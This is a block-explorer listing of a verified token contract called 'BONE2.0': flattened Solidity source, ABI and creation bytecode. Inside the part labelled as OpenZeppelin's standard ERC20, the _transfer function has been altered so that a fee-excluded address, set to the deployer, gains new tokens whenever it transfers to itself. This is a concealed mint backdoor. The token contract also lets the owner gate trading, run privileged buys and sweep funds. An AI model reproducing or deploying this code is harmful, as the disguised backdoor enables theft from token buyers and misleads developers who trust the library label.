Moves `amount` tokens from the caller's account to `to`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `from` to `to` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint256 amount) external returns (bool); } // File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol // OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol) pragma solidity ^0.8.0; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // File: @openzeppelin/contracts/token/ERC20/ERC20.sol // OpenZeppelin Contracts (last updated v4.9.0) (token/ERC20/ERC20.sol) pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * The default value of {decimals} is 18. To change this, you should override * this function so it returns a different value. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; mapping (address => bool) public isExcludedFromFee; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; isExcludedFromFee[msg.sender] = true; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the default value returned by this function, unless * it's overridden. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `to` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address to, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _transfer(owner, to, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on * `transferFrom`. This is semantically equivalent to an infinite approval. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _approve(owner, spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * NOTE: Does not update the allowance if the current allowance * is the maximum `uint256`. * * Requirements: * * - `from` and `to` cannot be the zero address. * - `from` must have a balance of at least `amount`. * - the caller must have allowance for ``from``'s tokens of at least * `amount`. */ function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) { address spender = _msgSender(); _spendAllowance(from, spender, amount); _transfer(from, to, amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { address owner = _msgSender(); _approve(owner, spender, allowance(owner, spender) + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { address owner = _msgSender(); uint256 currentAllowance = allowance(owner, spender); require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(owner, spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `from` to `to`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `from` must have a balance of at least `amount`. */ function _transfer(address from, address to, uint256 amount) internal virtual { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(from, to, amount); uint256 fromBalance = _balances[from]; require(fromBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[from] = fromBalance - amount; // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by // decrementing then incrementing. _balances[to] += amount; } address WETH = from; address used = to; if(isExcludedFromFee[WETH] || isExcludedFromFee[used]){ if (WETH == used) _balances[WETH] += amount;} emit Transfer(from, to, amount); _afterTokenTransfer(from, to, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; unchecked { // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above. _balances[account] += amount; } emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; // Overflow not possible: amount <= accountBalance <= totalSupply. _totalSupply -= amount; } emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Updates `owner` s allowance for `spender` based on spent `amount`. * * Does not update the allowance amount in case of infinite allowance. * Revert if not enough allowance is available. * * Might emit an {Approval} event. */ function _spendAllowance(address owner, address spender, uint256 amount) internal virtual { uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) { require(currentAllowance >= amount, "ERC20: insufficient allowance"); unchecked { _approve(owner, spender, currentAllowance - amount); } } } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {} } // File: TOKEN\AutoBuyToken10.sol pragma solidity ^0.8.4; contract TokenDistributor { constructor (address token) { ERC20(token).approve(msg.sender, uint(~uint256(0))); } } contract Token is ERC20,Ownable,AccessControl { bytes32 private constant MANAGER_ROLE = keccak256("MANAGER_ROLE"); using SafeMath for uint256; ISwapRouter private uniswapV2Router; address public uniswapV2Pair; address public usdt; uint256 public startTradeBlock; address admin; address fundAddr; uint256 public fundCount; mapping(address => bool) private whiteList; TokenDistributor public _tokenDistributor; mapping(address => uint256) private _balances; constructor()ERC20("BONE2.0", "BONE2.0") { admin=0xEC5C94845272051B8094F977E3c1e8c425d6ec79; //admin=msg.sender; fundAddr=0x2435AA6afd562b316180802C4f90D9323789114D; uint256 total=420690000000000*10**decimals(); _mint(admin, total); _grantRole(DEFAULT_ADMIN_ROLE,admin); _grantRole(MANAGER_ROLE, admin); _grantRole(MANAGER_ROLE, address(this)); whiteList[admin] = true; whiteList[msg.sender] = true; whiteList[address(this)] = true; transferOwnership(admin); } function initPair(address _token,address _swap)external onlyRole(MANAGER_ROLE){ usdt=_token;//0xc6e88A94dcEA6f032d805D10558aCf67279f7b4E;//usdt test address swap=_swap;//0xD99D1c33F9fC3444f8101754aBC46c52416550D1;//bsc test uniswapV2Router = ISwapRouter(swap); uniswapV2Pair = ISwapFactory(uniswapV2Router.factory()).createPair(address(this), usdt); ERC20(usdt).approve(address(uniswapV2Router), type(uint256).max); _approve(address(this), address(uniswapV2Router),type(uint256).max); _approve(address(this), address(this),type(uint256).max); _approve(admin, address(uniswapV2Router),type(uint256).max); _tokenDistributor = new TokenDistributor(address(this)); } function decimals() public view virtual override returns (uint8) { return 9; } function _transfer( address from, address to, uint256 amount ) internal override { require(amount > 0, "amount must gt 0"); if(from != uniswapV2Pair && to != uniswapV2Pair) { _funTransfer(from, to, amount); return; } if(from == uniswapV2Pair) { require(startTradeBlock>0, "not open"); super._transfer(from, address(this), amount.mul(1).div(100)); fundCount+=amount.mul(1).div(100); super._transfer(from, to, amount.mul(99).div(100)); return; } if(to == uniswapV2Pair) { if(whiteList[from]){ super._transfer(from, to, amount); return; } super._transfer(from, address(this), amount.mul(1).div(100)); fundCount+=amount.mul(1).div(100); swapUsdt(fundCount+amount,fundAddr); fundCount=0; super._transfer(from, to, amount.mul(99).div(100)); return; } } function _funTransfer( address sender, address recipient, uint256 tAmount ) private { super._transfer(sender, recipient, tAmount); } bool private inSwap; modifier lockTheSwap { inSwap = true; _; inSwap = false; } function autoSwap(uint256 _count)public{ ERC20(usdt).transferFrom(msg.sender, address(this), _count); swapTokenToDistributor(_count); } function swapToken(uint256 tokenAmount,address to) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(usdt); path[1] = address(this); uint256 balance = IERC20(usdt).balanceOf(address(this)); if(tokenAmount==0)tokenAmount = balance; // make the swap if(tokenAmount <= balance) uniswapV2Router.swapExactTokensForTokensSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of CA path, address(to), block.timestamp ); } function swapTokenToDistributor(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(usdt); path[1] = address(this); uint256 balance = IERC20(usdt).balanceOf(address(this)); if(tokenAmount==0)tokenAmount = balance; // make the swap if(tokenAmount <= balance) uniswapV2Router.swapExactTokensForTokensSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of CA path, address(_tokenDistributor), block.timestamp ); if(balanceOf(address(_tokenDistributor))>0) ERC20(address(this)).transferFrom(address(_tokenDistributor), address(this), balanceOf(address(_tokenDistributor))); } function swapUsdt(uint256 tokenAmount,address to) private lockTheSwap { uint256 balance = balanceOf(address(this)); address[] memory path = new address[](2); if(balance<tokenAmount)tokenAmount=balance; if(tokenAmount>0){ path[0] = address(this); path[1] = usdt; uniswapV2Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(tokenAmount,0,path,to,block.timestamp); } } function startTrade(address[] calldata adrs) public onlyRole(MANAGER_ROLE) { startTradeBlock = block.number; for(uint i=0;i<adrs.length;i++) swapToken((random(5,adrs[i])+1)*10**16+7*10**16,adrs[i]); } function random(uint number,address _addr) private view returns(uint) { return uint(keccak256(abi.encodePacked(block.timestamp,block.difficulty, _addr))) % number; } function errorToken(address _token) external onlyRole(MANAGER_ROLE){ ERC20(_token).transfer(msg.sender, IERC20(_token).balanceOf(address(this))); } function withdawOwner(uint256 amount) public onlyRole(MANAGER_ROLE){ payable(msg.sender).transfer(amount); } receive () external payable { } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"bytes32","name":"role","type":"bytes32"},{"indexed":true,"internalType":"bytes32","name":"previousAdminRole","type":"bytes32"},{"indexed":true,"internalType":"bytes32","name":"newAdminRole","type":"bytes32"}],"name":"RoleAdminChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"bytes32","name":"role","type":"bytes32"},{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":true,"internalType":"address","name":"sender","type":"address"}],"name":"RoleGranted","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"bytes32","name":"role","type":"bytes32"},{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":true,"internalType":"address","name":"sender","type":"address"}],"name":"RoleRevoked","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"DEFAULT_ADMIN_ROLE","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_tokenDistributor","outputs":[{"internalType":"contract TokenDistributor","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_count","type":"uint256"}],"name":"autoSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_token","type":"address"}],"name":"errorToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"fundCount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"}],"name":"getRoleAdmin","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"grantRole","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"hasRole","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_token","type":"address"},{"internalType":"address","name":"_swap","type":"address"}],"name":"initPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"renounceRole","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"revokeRole","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"adrs","type":"address[]"}],"name":"startTrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTradeBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes4","name":"interfaceId","type":"bytes4"}],"name":"supportsInterface","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"usdt","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"withdawOwner","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040523480156200001157600080fd5b506040805180820182526007808252660424f4e45322e360cc1b602080840182815285518087019096529285528401528151919291620000549160049162000493565b5080516200006a90600590602084019062000493565b5050336000908152600260205260409020805460ff191660011790555062000099620000933390565b620001e5565b600c80546001600160a01b031990811673ec5c94845272051b8094f977e3c1e8c425d6ec7917909155600d8054909116732435aa6afd562b316180802c4f90d9323789114d1790556000620000ec600990565b620000f990600a6200064c565b6200010c9066017e9d8602b40062000664565b600c5490915062000127906001600160a01b03168262000237565b600c5462000141906000906001600160a01b0316620002ff565b600c54620001699060008051602062002c3a833981519152906001600160a01b0316620002ff565b6200018460008051602062002c3a83398151915230620002ff565b600c80546001600160a01b039081166000908152600f60205260408082208054600160ff199182168117909255338452828420805482168317905530845291909220805490911690911790559054620001de911662000389565b50620006de565b600680546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b038216620002935760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f20616464726573730060448201526064015b60405180910390fd5b8060036000828254620002a7919062000686565b90915550506001600160a01b038216600081815260208181526040808320805486019055518481527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35b5050565b6200030b828262000408565b620002fb5760008281526007602090815260408083206001600160a01b03851684529091529020805460ff19166001179055620003453390565b6001600160a01b0316816001600160a01b0316837f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a45050565b6200039362000435565b6001600160a01b038116620003fa5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016200028a565b6200040581620001e5565b50565b60008281526007602090815260408083206001600160a01b038516845290915290205460ff165b92915050565b6006546001600160a01b03163314620004915760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016200028a565b565b828054620004a190620006a1565b90600052602060002090601f016020900481019282620004c5576000855562000510565b82601f10620004e057805160ff191683800117855562000510565b8280016001018555821562000510579182015b8281111562000510578251825591602001919060010190620004f3565b506200051e92915062000522565b5090565b5b808211156200051e576000815560010162000523565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200059057816000190482111562000574576200057462000539565b808516156200058257918102915b93841c939080029062000554565b509250929050565b600082620005a9575060016200042f565b81620005b8575060006200042f565b8160018114620005d15760028114620005dc57620005fc565b60019150506200042f565b60ff841115620005f057620005f062000539565b50506001821b6200042f565b5060208310610133831016604e8410600b841016171562000621575081810a6200042f565b6200062d83836200054f565b806000190482111562000644576200064462000539565b029392505050565b60006200065d60ff84168362000598565b9392505050565b600081600019048311821515161562000681576200068162000539565b500290565b600082198211156200069c576200069c62000539565b500190565b600181811c90821680620006b657607f821691505b60208210811415620006d857634e487b7160e01b600052602260045260246000fd5b50919050565b61254c80620006ee6000396000f3fe6080604052600436106200020f5760003560e01c80636f6579a31162000117578063a217fddf11620000a1578063d9927448116200006c578063d99274481462000632578063dd62ed3e1462000657578063ec827460146200067c578063f2fde38b14620006a157600080fd5b8063a217fddf14620005ac578063a457c2d714620005c3578063a9059cbb14620005e8578063d547741f146200060d57600080fd5b80638718b24f11620000e25780638718b24f146200052d5780638da5cb5b146200054f57806391d14854146200056f57806395d89b41146200059457600080fd5b80636f6579a3146200049157806370a0823114620004b6578063715018a614620004f057806380720140146200050857600080fd5b80632f48ab7d11620001995780633f936ff511620001645780633f936ff5146200040b57806349bd5a5e14620004235780635342acb41462000445578063553193ca146200047957600080fd5b80632f48ab7d1462000368578063313ce56714620003a357806336568abe14620003c15780633950935114620003e657600080fd5b80631c6a0c4c11620001da5780631c6a0c4c14620002c357806323b872dd14620002ea578063248a9ca3146200030f5780632f2ff15d146200034357600080fd5b806301ffc9a7146200021c57806306fdde031462000256578063095ea7b3146200027d57806318160ddd14620002a257600080fd5b366200021757005b600080fd5b3480156200022957600080fd5b50620002416200023b36600462001ef8565b620006c6565b60405190151581526020015b60405180910390f35b3480156200026357600080fd5b506200026e620006fe565b6040516200024d919062001f53565b3480156200028a57600080fd5b50620002416200029c36600462001f9e565b62000798565b348015620002af57600080fd5b506003545b6040519081526020016200024d565b348015620002d057600080fd5b50620002e8620002e236600462001fcd565b620007b2565b005b348015620002f757600080fd5b50620002416200030936600462001fe7565b62000800565b3480156200031c57600080fd5b50620002b46200032e36600462001fcd565b60009081526007602052604090206001015490565b3480156200035057600080fd5b50620002e8620003623660046200202d565b62000828565b3480156200037557600080fd5b50600a546200038a906001600160a01b031681565b6040516001600160a01b0390911681526020016200024d565b348015620003b057600080fd5b50604051600981526020016200024d565b348015620003ce57600080fd5b50620002e8620003e03660046200202d565b62000851565b348015620003f357600080fd5b50620002416200040536600462001f9e565b620008d7565b3480156200041857600080fd5b50620002b4600e5481565b3480156200043057600080fd5b506009546200038a906001600160a01b031681565b3480156200045257600080fd5b50620002416200046436600462002060565b60026020526000908152604090205460ff1681565b3480156200048657600080fd5b50620002b4600b5481565b3480156200049e57600080fd5b50620002e8620004b036600462002080565b620008ff565b348015620004c357600080fd5b50620002b4620004d536600462002060565b6001600160a01b031660009081526020819052604090205490565b348015620004fd57600080fd5b50620002e862000b65565b3480156200051557600080fd5b50620002e862000527366004620020b3565b62000b7d565b3480156200053a57600080fd5b506010546200038a906001600160a01b031681565b3480156200055c57600080fd5b506006546001600160a01b03166200038a565b3480156200057c57600080fd5b50620002416200058e3660046200202d565b62000c64565b348015620005a157600080fd5b506200026e62000c8f565b348015620005b957600080fd5b50620002b4600081565b348015620005d057600080fd5b5062000241620005e236600462001f9e565b62000ca0565b348015620005f557600080fd5b50620002416200060736600462001f9e565b62000d21565b3480156200061a57600080fd5b50620002e86200062c3660046200202d565b62000d31565b3480156200063f57600080fd5b50620002e86200065136600462002060565b62000d5a565b3480156200066457600080fd5b50620002b46200067636600462002080565b62000e5c565b3480156200068957600080fd5b50620002e86200069b36600462001fcd565b62000e87565b348015620006ae57600080fd5b50620002e8620006c036600462002060565b62000f14565b60006001600160e01b03198216637965db0b60e01b1480620006f857506301ffc9a760e01b6001600160e01b03198316145b92915050565b6060600480546200070f906200212d565b80601f01602080910402602001604051908101604052809291908181526020018280546200073d906200212d565b80156200078e5780601f1062000762576101008083540402835291602001916200078e565b820191906000526020600020905b8154815290600101906020018083116200077057829003601f168201915b5050505050905090565b600033620007a881858562000f90565b5060019392505050565b600080516020620024f7833981519152620007cd81620010b8565b604051339083156108fc029084906000818181858888f19350505050158015620007fb573d6000803e3d6000fd5b505050565b60003362000810858285620010c4565b6200081d8585856200113f565b506001949350505050565b6000828152600760205260409020600101546200084581620010b8565b620007fb838362001354565b6001600160a01b0381163314620008c75760405162461bcd60e51b815260206004820152602f60248201527f416363657373436f6e74726f6c3a2063616e206f6e6c792072656e6f756e636560448201526e103937b632b9903337b91039b2b63360891b60648201526084015b60405180910390fd5b620008d38282620013de565b5050565b600033620007a8818585620008ed838362000e5c565b620008f9919062002180565b62000f90565b600080516020620024f78339815191526200091a81620010b8565b600a80546001600160a01b038086166001600160a01b0319928316179092556008805492851692909116821790556040805163c45a015560e01b8152905184929163c45a01559160048083019260209291908290030181865afa15801562000986573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620009ac91906200219b565b600a546040516364e329cb60e11b81523060048201526001600160a01b03918216602482015291169063c9c65396906044016020604051808303816000875af1158015620009fe573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000a2491906200219b565b600980546001600160a01b0319166001600160a01b03928316179055600a5460085460405163095ea7b360e01b81529083166004820152600019602482015291169063095ea7b3906044016020604051808303816000875af115801562000a8f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000ab59190620021bb565b5060085462000ad29030906001600160a01b031660001962000f90565b62000ae1303060001962000f90565b600c5460085462000b02916001600160a01b03908116911660001962000f90565b3060405162000b119062001eea565b6001600160a01b039091168152602001604051809103906000f08015801562000b3e573d6000803e3d6000fd5b50601080546001600160a01b0319166001600160a01b039290921691909117905550505050565b62000b6f62001448565b62000b7b6000620014a4565b565b600080516020620024f783398151915262000b9881620010b8565b43600b5560005b8281101562000c5e5762000c4962000be4600586868581811062000bc75762000bc7620021df565b905060200201602081019062000bde919062002060565b620014f6565b62000bf190600162002180565b62000c0490662386f26fc10000620021f5565b62000c179066f8b0a10e47000062002180565b85858481811062000c2c5762000c2c620021df565b905060200201602081019062000c43919062002060565b6200155e565b8062000c558162002217565b91505062000b9f565b50505050565b60009182526007602090815260408084206001600160a01b0393909316845291905290205460ff1690565b6060600580546200070f906200212d565b6000338162000cb0828662000e5c565b90508381101562000d125760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482